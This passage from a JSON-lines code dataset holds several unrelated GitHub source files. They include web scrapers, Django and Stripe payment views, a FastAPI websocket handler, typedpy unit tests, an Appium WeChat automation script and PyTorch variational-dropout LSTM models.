nums[i]\r\nprint(ans)\r\n","repo_name":"Balut-moko/procon-grassmaker-archive","sub_path":"atcoder/abc079/abc079_d/26683893.py","file_name":"26683893.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14024387819","text":"from __future__ import division\nfrom builtins import range\nfrom sciunit import Score\nimport numpy\nfrom sciunit.utils import assert_dimensionless\n\nclass ZScore_somaticSpiking(Score):\n    \"\"\"\n    Mean of Z scores. A float indicating the sum of standardized difference\n    from reference means for somatic spiking features.\n    \"\"\"\n\n    def __init__(self, score, related_data={}):\n\n        if not isinstance(score, Exception) and not isinstance(score, float):\n            raise InvalidScoreError(\"Score must be a float.\")\n        else:\n            super(ZScore_somaticSpiking,self).__init__(score, related_data=related_data)\n\n    @classmethod\n    def compute(cls, observation, prediction):\n        \"\"\"Computes average of z-scores from observation and prediction for somatic spiking features\"\"\"\n\n        feature_errors=numpy.array([])\n        features_names=(list(observation.keys()))\n        feature_results_dict={}\n        bad_features = []\n\n        for i in range (0, len(features_names)):\n            p_value = prediction[features_names[i]]['feature mean']\n            o_mean = float(observation[features_names[i]]['Mean'])\n            o_std = float(observation[features_names[i]]['Std'])\n\n            p_std = prediction[features_names[i]]['feature sd']\n\n\n            try:\n                feature_error = abs(p_value - o_mean)/o_std\n                feature_error = assert_dimensionless(feature_error)\n            except ZeroDivisionError:\n                feature_error = float(\"inf\")\n                feature_error = float(\"inf\")\n            except (TypeError,AssertionError) as e:\n                feature_error = e\n            #feature_errors=numpy.append(feature_errors,feature_error)\n            feature_result={features_names[i]: feature_error}\n\n            feature_results_dict.update(feature_result)\n\n            if numpy.isnan(feature_error) or numpy.isinf(feature_error):\n                bad_features.append(features_names[i])\n            else:\n                feature_errors=numpy.append(feature_errors,feature_error)\n        score_avg=numpy.nanmean(feature_errors)\n\n        return score_avg, feature_results_dict, features_names, bad_features\n\n    def __str__(self):\n\n        return 'ZScore_avg = %.2f' % self.score\n","repo_name":"KaliLab/hippounit","sub_path":"hippounit/scores/score_ZScore_somaticSpiking.py","file_name":"score_ZScore_somaticSpiking.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"13550183772","text":"from bs4 import BeautifulSoup, Tag, NavigableString\nfrom pathlib import Path\nimport urllib.request\n\nsite = 'https://pt.wikipedia.org'\n\ndef html_encode(text):\n    letters = []\n    for byte in text.encode('utf-8'):\n        if byte == 0x20:  # Space\n            letter = '_'\n        elif 0x20 <= byte <= 0x7E:  # Printable ASCII range\n            letter = chr(byte)\n        else:  # Non-ASCII\n            letter = f'%{byte:02X}'\n        letters.append(letter)\n    return ''.join(letters)\n\n# Extract articles from the given category\ndef scan(category):\n    url = html_encode(f'{site}/wiki/Categoria:{category}')\n    with urllib.request.urlopen(url) as connection:\n        html = connection.read()\n    soup = BeautifulSoup(html, 'html.parser')\n    content = soup.find('div', class_='mw-content-ltr')\n    for link in content.find_all('a'):  # Iterate over all hyperlinks\n        title = link.attrs.get('title')\n        if not title: continue\n        if ':' in title: continue\n        if '/' in title: continue\n        if title.endswith('(página não existe)'): continue\n        articles.add(title)\n\n# Setup\narticles = set()  # The set of article titles we are building\ncategories = Path('../Data/categories.txt').read_text().splitlines()  # The categories to scan\n\n# Scan all categories for articles\nprogress = len(categories)\nfor category in categories:\n    progress -= 1\n    print(f'\\r{progress} ', end='', flush=True)\n    scan(category)\nprint('\\r')\n\n# Write the output file\nwith open('../Data/articles.txt', 'w') as target:\n    for article in sorted(articles):\n        target.write(article)\n        target.write('\\n')\n","repo_name":"merijnbeeksma/bioport","sub_path":"Source/list_articles.py","file_name":"list_articles.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19779718047","text":"\n\nfrom django.urls import path\n\nfrom . import views\nurlpatterns = [\n    path('', views.SlotAvailableListing.as_view(), name='index'),\n    path('slot', views.SlotListApiView.as_view(),name=\"\"),\n    path('slot/<int:slot_id>/', views.SlotDetailApiView.as_view()),\n    path('book', views.BookListApiView.as_view(),name=\"booking\"),\n    path('book/<int:pk>/', views.BookDetailApiView.as_view({\"post\": \"update\"}),name=\"booking-edit\"),\n]","repo_name":"SunkavalliRaveenda/car-parking","sub_path":"slot_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5364524438","text":"import itertools\nimport copy\nimport time\n#import pandas as pd\n#import matplotlib.pyplot as plt\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport random\nimport uuid\nimport json\n#import randomcolor\nfrom requests.exceptions import ConnectionError\nfrom requests.exceptions import ReadTimeout\ndef genUniversalConcepts(concept,outfile):\n\n\toutput={}\n\n\toutput['UC']=[]\n\toutput['GUID'] = []\n\t\n\toutput['UC'].append(concept)\n\toutput['GUID'].append(uuid.uuid4().hex)\n\n\tjson.dump(output, outfile, ensure_ascii=False)\n\toutfile.write('\\n')\n\ndef translate (driver, word):\n\n\tquery = driver.find_element_by_id(\"source\")\n\tquery.clear()\n\torigingword = word\n\twrd = origingword + '\\t'\n\tquery.send_keys(wrd)\n\t#time.sleep(1)\n\tresult = driver.find_element_by_id(\"gt-src-is-list\")\n\ttime.sleep(1)\n\tlistofsyn = str(result.text).split('\\n')\n\tif len(listofsyn) > 1:\n\t\treturn (listofsyn[1])\n\telse:\n\t\treturn (listofsyn[0])\n\t#time.sleep(5)\n\n\t\n\n\nif __name__ == '__main__':\n\n\tdriver = webdriver.Firefox(executable_path='/Users/psheinidashtegol/Documents/geckodriver')\n\n\tfrom_lang = 'en'\n\tto_lang = 'de'\n\tbaseUrl = \"https://translate.google.com/#\"\n\tfinal_url = baseUrl + from_lang + '/' + to_lang\n\tdriver.get(final_url)\n\twith open('UniConceptClusteringENDE50k.txt', 'w') as outfile:\n\t\twith open (\"Computed-UniversalConceptsOptV03.txt\",'r') as ENUC:\n\t\t\tdata = json.load(ENUC)\n\t\t\tfor i in range(0,len(data)):\n\t\t\t\tCombined_Words = []\n\t\t\t\tEnWords = []\n\t\t\t\tprint( i )\n\t\t\t\tEnWords = data[str(i)].split(';')\n\t\t\t\tEnESWords = []\n\t\t\t\tfor wd in EnWords:\n\t\t\t\t\tprint(wd)\n\t\t\t\t\t#try:\n\t\t\t\t\t#wd =\"courts\"\n\t\t\t\t\twdn = translate(driver, wd)\n\t\t\t\t\tEnESWords.append(wdn.strip())\n\t\t\t\t\t#except Exception,e:\n\t\t\t\t\t\t#print (str(e))\n\t\t\t\tprint(EnESWords)\n\t\t\t\tCombined_Words = EnWords+EnESWords \n\t\t\t\tgenUniversalConcepts(Combined_Words, outfile)\n\t\t\t\t\n\t\t\t\t#json_out.write('{}\\n'.format(word))\n\t\tdriver.close()","repo_name":"pjsheini/UCGenerator-Clusterring","sub_path":"GenUCclustering.py","file_name":"GenUCclustering.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74068273929","text":"from django.db import models\n\n\nclass Location(models.Model):\n    updated_at = models.DateTimeField(\n        verbose_name='Дата/время обновления',\n    )\n    address = models.CharField(\n        max_length=150,\n        unique=True,\n        verbose_name='Адрес',\n    )\n    longitude = models.FloatField(\n        blank=True,\n        null=True,\n        verbose_name='Долгота',\n    )\n    latitude = models.FloatField(\n        blank=True,\n        null=True,\n        verbose_name='Широта',\n    )\n\n    class Meta:\n        verbose_name = 'Локация'\n        verbose_name_plural = 'Локации'\n        indexes = [\n            models.Index(fields=['updated_at'])\n        ]\n\n    def __str__(self):\n        return f'{self.address} - ({self.longitude},{self.latitude})'\n","repo_name":"Sangdak/star_burger","sub_path":"location/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20899161638","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nimport os\n\nfrom .models import Item, Order\nfrom django.conf import settings\n\nDOMAIN = settings.DOMAIN\n\nimport stripe\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\nfrom django.http import JsonResponse\nfrom django.views.generic.base import TemplateView\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic import ListView\n\n\nclass HomePageView(TemplateView):\n    template_name = 'payment/home.html'\n\n\n@api_view(['GET'])\ndef buy(request, item_id):\n    req_item = get_object_or_404(Item, pk=item_id)\n\n    session = stripe.checkout.Session.create(\n        line_items=[{\n            'name': req_item.name,\n            'quantity': 1,\n            'currency': req_item.currency,\n            'amount': req_item.price * 100,\n        }],\n        mode='payment',\n        payment_method_types=['card'],\n        success_url=DOMAIN + 'success/',\n        cancel_url=DOMAIN + 'cancel/',\n    )\n\n    return Response({'sessionId': session.id})\n\n\n@api_view(['GET'])\ndef buy_order(request, order_id):\n    req_order = get_object_or_404(Order, id=order_id)\n\n    items = [\n        {\n            \"name\": obj.name,\n            \"quantity\": 1,\n            \"currency\": obj.currency,\n            \"amount\": obj.price * 100,\n        } for obj in req_order.items.all()\n    ]\n\n    session = stripe.checkout.Session.create(\n        line_items=items,\n        payment_method_types=['card'],\n        mode='payment',\n        discounts=[{'coupon': req_order.discount.discount_id}] if req_order.discount else [],\n        tax_id_collection={\n            'enabled': True,\n        },\n        success_url=DOMAIN + 'success/',\n        cancel_url=DOMAIN + 'cancel/',\n    )\n\n    return Response({'sessionId': session['id']})\n\n\n@api_view(['GET'])\ndef stripe_config(request):\n    stripe_key = {'publicKey': settings.STRIPE_PUBLISHABLE_KEY}\n    return Response(stripe_key)\n\n\nclass ItemListView(ListView):\n\n    context_object_name = 'item'\n    template_name = 'payment/payment.html'\n\n    def get_queryset(self):\n        return Item.objects.get(pk=self.kwargs['item_id'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['type'] = 'item'\n        return context\n\n\nclass OrderListView(ListView):\n\n    context_object_name = 'order'\n    template_name = 'payment/payment.html'\n\n    def get_queryset(self):\n        return Order.objects.get(pk=self.kwargs['order_id'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['type'] = 'order'\n        return context\n\n\nclass SuccessPageView(TemplateView):\n    template_name = 'payment/success.html'\n\n\nclass CancelPageView(TemplateView):\n    template_name = 'payment/cancel.html'","repo_name":"matsubVs/ranks-test","sub_path":"payment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75056295368","text":"# websocket\nasync def run(server):\n    # logic to handle websocket requests\n    import os, uuid, json\n    from fastapi.websockets import WebSocket, WebSocketDisconnect\n    from apps.websocket.manager import ConnectionManager\n\n    log = server.log\n\n    # PATH websocket will listen for requests\n    WS_PATH = os.environ['WS_PATH']\n\n    server.connection_manager = ConnectionManager(server)\n\n    @server.websocket_route(WS_PATH)\n    async def game(websocket: WebSocket):\n        # decode auth - determine if valid & add connection\n        # add connection to connection manager\n        log.debug(f\"game ws connection starting {websocket}\")\n        result = await server.connection_manager.connect(websocket)\n\n        connection_id = str(uuid.uuid1())\n\n        server.connection_manager.store_connect(connection_id, websocket)\n\n        log.warning(f\"websocket actions: {server.ws_action}\")\n\n        while True:\n            try:\n                request = await websocket.receive()\n                log.warning(f\"received request: {request}\")\n                if 'text' in request:\n                    try:\n                        request = json.loads(request['text'])\n                    except Exception as e:\n                        log.exceptoin(f\"unable to load {request} as json\")\n                if 'ping' in request:\n                    await websocket.send_json({'pong': 'pong'})\n                if 'name' in request:\n                    print(f\"triggering: {request['name']}\")\n                    await server.ws_action[request['name']](connection_id, request['payload'])\n\n            except Exception as e:\n                log.exception(f\"exception when processing request\")\n                server.connection_manager.disconnect(connection_id)\n                break","repo_name":"codemation/restaurant","sub_path":"restaurant/apps/websocket/websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"37399164248","text":"import copy\nfrom collections import deque\n\nimport pytest\nfrom pytest import raises\n\nfrom typedpy import (\n    Structure,\n    Array,\n    Number,\n    String,\n    Integer,\n    StructureReference,\n    AllOf,\n    Enum,\n    Float,\n    Map,\n    AnyOf,\n    Set,\n    OneOf,\n    Anything,\n    Deque,\n)\n\n\nclass SimpleStruct(Structure):\n    name = String(pattern=\"[A-Za-z]+$\", maxLength=8)\n\n\nclass Person(Structure):\n    name = String\n    ssid = String\n\n\nclass BigPerson(Person):\n    height = Integer\n    _required = []\n\n\nclass Example(Structure):\n    anything = Anything\n    i = Integer(maximum=10)\n    s = String(maxLength=5)\n    any = AnyOf[Array[Person], Person]\n    complex_allof = AllOf[\n        AnyOf[Integer, Person], BigPerson\n    ]  # this is stupid, but we do it for testing\n    people = Array[Person]\n    array_of_one_of = Array[\n        OneOf[Float, Integer, Person, StructureReference(a1=Integer(), a2=Float())]\n    ]\n    array = Array[Integer(multiplesOf=5), OneOf[Array[Person], Number]]\n    embedded = StructureReference(a1=Integer(), a2=Float())\n    simplestruct = SimpleStruct\n    set = Set[Person]\n    all = AllOf[Number, Integer]\n    person_by_label = Map[String, Person]\n    enum = Enum(values=[1, 2, 3])\n    deq = Deque[String]\n    _required = []\n\n\n@pytest.fixture\ndef rich_object_example():\n    return Example(\n        anything={\"a\", \"b\", \"c\"},\n        i=5,\n        s=\"test\",\n        array_of_one_of=[\n            {\"a1\": 8, \"a2\": 0.5},\n            0.5,\n            4.0,\n            Person(name=\"john\", ssid=\"123\"),\n        ],\n        complex_allof=BigPerson(name=\"john\", ssid=\"123\"),\n        any=[Person(name=\"john\", ssid=\"123\")],\n        array=[10, 7],\n        people=[Person(name=\"john\", ssid=\"123\")],\n        set={\n            Person(name=\"john\", ssid=\"123\"),\n            Person(name=\"john\", ssid=\"234\"),\n            Person(name=\"john\", ssid=\"345\"),\n        },\n        embedded={\"a1\": 8, \"a2\": 0.5},\n        person_by_label={\n            \"aaa\": Person(name=\"john\", ssid=\"123\"),\n            \"bbb\": Person(name=\"jack\", ssid=\"234\"),\n        },\n        simplestruct=SimpleStruct(name=\"danny\"),\n        all=5,\n        enum=3,\n        not_part_of_class_definition=1,\n        deq=deque([\"xx\", \"yy\", \"zz\"]),\n    )\n\n\ndef test_deepcopy_creates_new_instances_basic_equality(rich_object_example):\n    source = rich_object_example\n    target = copy.deepcopy(source)\n    assert target == source\n\n\ndef test_deepcopy_creates_new_instances_changing_embedded_values_in_array(\n    rich_object_example,\n):\n    source = rich_object_example\n    target = copy.deepcopy(source)\n    target.people[0].name = \"jack\"\n    assert source.people[0].name == \"john\"\n    assert target.people[0].name == \"jack\"\n    target.array.append(5)\n    assert target.array == [10, 7, 5]\n    assert source.array == [10, 7]\n    target.anything.add(\"x\")\n    assert target.anything == {\"a\", \"b\", \"c\", \"x\"}\n    assert source.anything == {\"a\", \"b\", \"c\"}\n\n\ndef test_deepcopy_maintains_field_definiton_validations(rich_object_example):\n    source = rich_object_example\n    target = copy.deepcopy(source)\n    with raises(TypeError) as ex:\n        target.array[0] = \"xyz\"\n    assert \"array_0: Expected <class 'int'>\" in str(ex.value)\n    with raises(ValueError) as ex:\n        target.array.insert(0, 3)\n    assert \"array_0: Got 3; Expected a a multiple of 5\" in str(ex.value)\n\n\ndef test_deepcopy_creates_new_instances_changing_embedded_values_in_map(\n    rich_object_example,\n):\n    source = rich_object_example\n    target = copy.deepcopy(source)\n    target.person_by_label[\"aaa\"].name = \"smith\"\n    assert source.person_by_label[\"aaa\"].name == \"john\"\n\n\ndef test_copy_creates_shallow_copy(rich_object_example):\n    source = rich_object_example\n    target = copy.copy(source)\n    assert target == source\n    target.people[0].name = \"jack\"\n    assert source.people[0].name == \"jack\"\n    target.anything.add(\"x\")\n    assert source.anything == {\"a\", \"b\", \"c\", \"x\"}\n\n\ndef test_ne():\n    source = Example(anything={\"a\", \"b\", \"c\"}, i=5, s=\"test\")\n    target = copy.copy(source)\n    assert target == source\n    assert not target != source\n\n    target.i = 3\n    assert target != source\n\n\ndef test_dir(rich_object_example):\n    assert dir(rich_object_example) == [\n        \"all\",\n        \"any\",\n        \"anything\",\n        \"array\",\n        \"array_of_one_of\",\n        \"complex_allof\",\n        \"deq\",\n        \"embedded\",\n        \"enum\",\n        \"i\",\n        \"not_part_of_class_definition\",\n        \"people\",\n        \"person_by_label\",\n        \"s\",\n        \"set\",\n        \"simplestruct\",\n    ]\n\n\ndef test_to_and_from_dict(rich_object_example):\n    def to_dict(x):\n        return {key: getattr(x, key) for key in dir(x) if key != None}\n\n    target = to_dict(rich_object_example)\n    for k, v in target.items():\n        assert getattr(rich_object_example, k) == v\n\n    from_dict = Example(**target)\n    assert from_dict == rich_object_example\n\n\ndef test_nonzero():\n    assert not Example()\n    assert Example(i=5)\n\n\ndef test_contains_supported():\n    class Foo(Structure):\n        s = Map[String, Anything]\n\n        _additionalProperties = False\n\n    f = Foo(s={\"xxx\": 123, \"yyy\": 234, \"zzz\": \"zzz\"})\n    assert \"xxx\" in f\n    assert 123 not in f\n\n\ndef test_contains_unsupported():\n    class Foo(Structure):\n        s = Map[String, Anything]\n        i = Integer\n\n        _required = [\"s\"]\n        _additionalProperties = False\n\n    f = Foo(s={\"xxx\": 123, \"yyy\": 234, \"zzz\": \"zzz\"})\n    with raises(TypeError) as excinfo:\n        assert \"xxx\" in f\n    assert \"Foo does not support this operator\" in str(excinfo.value)\n\n\ndef test_get_field_by_name():\n    class Person(Structure):\n        _required = [\"ssid\"]\n        name = String(pattern=\"[A-Za-z]+$\", maxLength=8, default=\"Arthur\")\n        ssid = String(minLength=3, pattern=\"[A-Za-z]+$\")\n        num = Integer(\n            maximum=30, minimum=10, multiplesOf=\"dd\", exclusiveMaximum=False, default=0\n        )\n        foo = StructureReference(\n            a=String(), b=StructureReference(c=Number(minimum=10), d=Number(maximum=10))\n        )\n\n    field_by_name = Person.get_all_fields_by_name()\n\n    assert set(field_by_name.keys()) == {\"name\", \"ssid\", \"num\", \"foo\"}\n    ssid_field = field_by_name[\"ssid\"]\n    assert ssid_field.__class__ is String\n    assert ssid_field.pattern == \"[A-Za-z]+$\"\n    assert ssid_field.minLength == 3\n","repo_name":"loyada/typedpy","sub_path":"tests/test_utility_magic_methods.py","file_name":"test_utility_magic_methods.py","file_ext":"py","file_size_in_byte":6325,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"16"}
+{"seq_id":"38625992641","text":"from appium import webdriver\nimport time\n\n\ndef main():\n    # 设置启动参数desired_caps\n    desired_caps = {\n        \"platformName\": \"Android\",\n        \"deviceName\": \"R28M30YHMMX\",\n        \"platformVersion\": \"9\",\n        \"appPackage\": \"com.tencent.mm\",\n        \"appActivity\": \".ui.LauncherUI\",\n        # 设置app启动不重置\n        \"noReset\": True,\n        # 设置连接会话超时时间，单位s\n        \"newCommandTimeout\": 60,\n        # 使用Unicode编码方式发送字符\n        \"unicodeKeyboard\": True,\n        # 隐藏键盘\n        \"resetKeyboard\": True\n    }\n\n    # 启动appium会话\n    driver = webdriver.Remote('http://127.0.0.1:4723/wd/hub', desired_caps)\n\n    # 设置隐形等待时间，单位s\n    driver.implicitly_wait(10)\n\n    # 等待微信首页打开\n    driver.wait_activity('.ui.LauncherUI', 10)\n    time.sleep(2)\n\n    # 获取屏幕尺寸\n    screem = driver.get_window_size()\n    print(screem)\n    # 下拉屏幕，打开微信小程序���面\n    driver.swipe(screem['width'] * 0.5, screem['width'] * 0.5,\n                 screem['height'] * 0.2, screem['height'] * 0.8, 1000)\n\n    # 点击量产云平台小程序\n    mpcloudBtn = driver.find_element_by_id('com.tencent.mm:id/jq')\n    mpcloudBtn.click()\n\n    # 等待量产云平台小程序打开\n    driver.wait_activity('.plugin.appbrand.ui.AppBrandUI', 10)\n    time.sleep(2)\n\n    # 点击数据统计\n    dataBtn = driver.find_element_by_xpath('//*[@text=\"数据统计\"]')\n    dataBtn.click()\n\n    # 点击返回\n    backBtn = driver.find_element_by_xpath('//*[@text=\"功能\"]')\n    backBtn.click()\n    # 等待页面刷新\n    driver.wait_activity('.plugin.appbrand.ui.AppBrandUI', 10)\n    time.sleep(2)\n\n    # 点击消息管理\n    infoBtn = driver.find_element_by_xpath('//*[@text=\"消息管理\"]')\n    infoBtn.click()\n    # 等待页面刷新\n    driver.wait_activity('.plugin.appbrand.ui.AppBrandUI', 10)\n    time.sleep(2)\n\n    # 关闭小程序\n    closeBtn = driver.find_element_by_accessibility_id('关闭')\n    closeBtn.click()\n    # 等待返回微信首页\n    driver.wait_activity('.ui.LauncherUI', 10)\n    time.sleep(2)\n\n    driver.quit()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"linzhifu/autotest_drf","sub_path":"testMpcloud/weChatApp.py","file_name":"weChatApp.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"1299329276","text":"marioRun, numberOfObstacles = input().split()\nobstacles = []\n\nfor key in range(int(numberOfObstacles)):\n    obstacles.append(int(input()))\n\nobstacles.sort()\nfor key in range(int(marioRun)):\n    if (key in obstacles) == False:\n        print(key)\n\nprint('Mario got', numberOfObstacles, 'of dangerous obstacles')","repo_name":"ghl0pes/openkattis-exercises","sub_path":"princesspeach.py","file_name":"princesspeach.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1144729601","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport pytorch_lightning as pl\nfrom abc import ABC, abstractmethod\nfrom torch.nn.utils.rnn import PackedSequence\nfrom typing import *\nimport models.helpers as helpers\n\nclass VariationalLSTM(nn.Module):\n    def __init__(self, input_size, hidden_size, num_layers=1, dropout_rate=0.0):\n        super().__init__()\n\n        self.lstm_layers = [nn.LSTMCell(input_size=input_size, hidden_size=hidden_size)]\n        if num_layers > 1:\n            self.lstm_layers += [nn.LSTMCell(input_size=hidden_size, hidden_size=hidden_size)\n                                 for _ in range(num_layers - 1)]\n        self.lstm_layers = nn.ModuleList(self.lstm_layers)\n\n        self.hidden_size = hidden_size\n        self.dropout_rate = dropout_rate\n\n    def forward(self, x, init_states=None):\n        for lstm_cell in self.lstm_layers:\n\n            # Customised LSTM-cell for variational LSTM dropout (Tensorflow-like implementation)\n            if init_states is None:  # Encoder - init states are zeros\n                hx = torch.zeros((x.shape[0], self.hidden_size)).type_as(x)\n                cx = torch.zeros((x.shape[0], self.hidden_size)).type_as(x)\n            else:  # Decoder init states are br of encoder\n                hx, cx = init_states[0][0,:,:], init_states[1][0,:,:]\n\n            # Variational dropout - sampled once per batch\n            out_dropout = torch.bernoulli(hx.data.new(hx.data.size()).fill_(1 - self.dropout_rate)) / (1 - self.dropout_rate)\n            h_dropout = torch.bernoulli(hx.data.new(hx.data.size()).fill_(1 - self.dropout_rate)) / (1 - self.dropout_rate)\n            c_dropout = torch.bernoulli(cx.data.new(cx.data.size()).fill_(1 - self.dropout_rate)) / (1 - self.dropout_rate)\n\n            output = []\n            for t in range(x.shape[1]):\n                hx, cx = lstm_cell(x[:, t, :], (hx, cx))\n                if lstm_cell.training:\n                    out = hx * out_dropout\n                    hx, cx = hx * h_dropout, cx * c_dropout\n                else:\n                    out = hx\n                output.append(out)\n\n            x = torch.stack(output, dim=1)\n\n        return x, (torch.unsqueeze(hx, 0), torch.unsqueeze(cx, 0))\n\n#Variational dropout LSTM\nclass VariationalDropout(nn.Module):\n    \"\"\"\n    Applies the same dropout mask across the temporal dimension\n    See https://arxiv.org/abs/1512.05287 for more details.\n    Note that this is not applied to the recurrent activations in the LSTM like the above paper.\n    Instead, it is applied to the inputs and outputs of the recurrent layer.\n    \"\"\"\n    def __init__(self, dropout: float, batch_first: Optional[bool]=False):\n        super().__init__()\n        self.dropout = dropout\n        self.batch_first = batch_first\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        if not self.training or self.dropout <= 0.:\n            return x\n\n        is_packed = isinstance(x, PackedSequence)\n        if is_packed:\n            x, batch_sizes = x\n            max_batch_size = int(batch_sizes[0])\n        else:\n            batch_sizes = None\n            max_batch_size = x.size(0)\n\n        # Drop same mask across entire sequence\n        if self.batch_first:\n            m = x.new_empty(max_batch_size, 1, x.size(2), requires_grad=False).bernoulli_(1 - self.dropout)\n        else:\n            m = x.new_empty(1, max_batch_size, x.size(2), requires_grad=False).bernoulli_(1 - self.dropout)\n        x = x.masked_fill(m == 0, 0) / (1 - self.dropout)\n\n        if is_packed:\n            return PackedSequence(x, batch_sizes)\n        else:\n            return x\n\n\nclass LSTM_VarDrop(nn.LSTM):\n    def __init__(self, *args, dropouti: float=0.,\n                 dropoutw: float=0., dropouto: float=0.,\n                 batch_first=True, unit_forget_bias=True, **kwargs):\n        super().__init__(*args, **kwargs, batch_first=batch_first)\n        self.unit_forget_bias = unit_forget_bias\n        self.dropoutw = dropoutw\n        self.input_drop = VariationalDropout(dropouti,\n                                             batch_first=batch_first)\n        self.output_drop = VariationalDropout(dropouto,\n                                              batch_first=batch_first)\n        self._init_weights()\n\n    def _init_weights(self):\n        \"\"\"\n        Use orthogonal init for recurrent layers, xavier uniform for input layers\n        Bias is 0 except for forget gate\n        \"\"\"\n        for name, param in self.named_parameters():\n            if \"weight_hh\" in name:\n                nn.init.orthogonal_(param.data)\n            elif \"weight_ih\" in name:\n                nn.init.xavier_uniform_(param.data)\n            elif \"bias\" in name and self.unit_forget_bias:\n                nn.init.zeros_(param.data)\n                param.data[self.hidden_size:2 * self.hidden_size] = 1\n\n    def _drop_weights(self):\n        for name, param in self.named_parameters():\n            if \"weight_hh\" in name:\n                getattr(self, name).data = \\\n                    torch.nn.functional.dropout(param.data, p=self.dropoutw,\n                                                training=self.training).contiguous()\n\n    def forward(self, input, hx=None):\n        self._drop_weights()\n        input = self.input_drop(input)\n        seq, state = super().forward(input, hx=hx)\n        return self.output_drop(seq), state\n\n\n\n#General encoder model\n#Neet to implement: forward(fwd_input) --> fwd output =[y_hat, repr = [h,c], misc]\n#                   format_input(data_torch) --> fwd_input\n#                   training_step, validation_step\nclass Causal_Encoder(pl.LightningModule, ABC):\n    def __init__(self, config, input_size):\n        super().__init__()\n        #LSTM with variational dropout\n        self.lstm = VariationalLSTM(input_size=input_size, hidden_size=config[\"hidden_size_lstm\"], num_layers=1,\n                                    dropout_rate=config[\"dropout\"])\n        self.tune_mode = False\n\n    def configure_optimizers(self):\n        return self.optimizer\n\n    def set_tune_mode(self, tune_mode):\n        self.tune_mode = tune_mode\n\n    @abstractmethod\n    def format_input(self, data_torch):\n        pass\n\n    @abstractmethod\n    def forward(self, input_fwd):\n        pass\n\n    @abstractmethod\n    def training_step(self, train_batch, batch_idx):\n        pass\n\n    @abstractmethod\n    def validation_step(self, train_batch, batch_idx):\n        pass\n\n    # Prediction (using numpy/torch input, numpy output)\n    def predict_1step(self, data, a_int = None, y_scaler=None, output_type=\"np\"):\n        self.eval()\n        #Convert to torch tensor\n        if not torch.is_tensor(data):\n            data = torch.from_numpy(data.astype(np.float32))\n            if a_int is not None:\n                a_int = torch.from_numpy(a_int(np.float32))\n        n = data.size[0]\n        T = data.size[1]\n        if a_int is not None:\n            data[:, -1, 1] = torch.squeeze(torch.full((n,1), a_int.item()))\n        input_fwd = self.format_input(data)\n        # Compute history representation and one-step ahead prediction with encoder\n        output_fwd = self.forward(input_fwd)\n\n        #outcome\n        y_hat = output_fwd[0]\n        #Representation\n        [h_t, c_t] = output_fwd[1]\n        if output_type == \"np\":\n            y_hat = y_hat.detach().numpy()\n            h_t = h_t.detach().numpy()\n            c_t = c_t.detach().numpy()\n        # Rescale y\n        if y_scaler is not None:\n            y_vec_scaled = np.reshape(y_hat.copy(), (n * T, 1))\n            y_vec_unscaled = y_scaler.inverse_transform(y_vec_scaled)\n            y_hat = np.reshape(y_vec_unscaled, (n, T))\n        #Return\n        if len(output_fwd) > 2:\n            if output_type == \"np\":\n                return y_hat, [h_t, c_t], output_fwd[2].detach().numpy()\n            else:\n                return y_hat, [h_t, c_t], output_fwd[2]\n        else:\n            return y_hat, [h_t, c_t]\n\n\n\nclass Causal_Decoder(pl.LightningModule, ABC):\n    def __init__(self, config, encoder, input_size):\n        super().__init__()\n        self.encoder = encoder\n        #Memory adapter\n        self.adapter1 = nn.Linear(encoder.lstm.hidden_size, config[\"hidden_size_lstm\"])\n        self.adapter2 = nn.Linear(encoder.lstm.hidden_size, config[\"hidden_size_lstm\"])\n        #LSTM with variational dropout\n        self.lstm = VariationalLSTM(input_size=input_size, hidden_size=config[\"hidden_size_lstm\"], num_layers=1,\n                                    dropout_rate=config[\"dropout\"])\n        self.tune_mode = False\n    def configure_optimizers(self):\n        return self.optimizer\n\n    #Returns [repr_enc, y_hat_enc, A_data, y_data]\n    def format_input(self, data_torch):\n        self.encoder.eval()\n        input_enc = self.encoder.format_input(data_torch[:, 0:1, :])\n        output_enc = self.encoder.forward(input_enc)\n        repr_enc = output_enc[1]\n        y_hat_enc = output_enc[0]\n        A_data = data_torch[:, :, 1]\n        y_data = data_torch[:, :, 0]\n        return [repr_enc, y_hat_enc, A_data, y_data]\n\n    def set_tune_mode(self, tune_mode):\n        self.tune_mode = tune_mode\n\n    @abstractmethod\n    def forward(self, input_fwd):\n        pass\n\n    @abstractmethod\n    def training_step(self, train_batch, 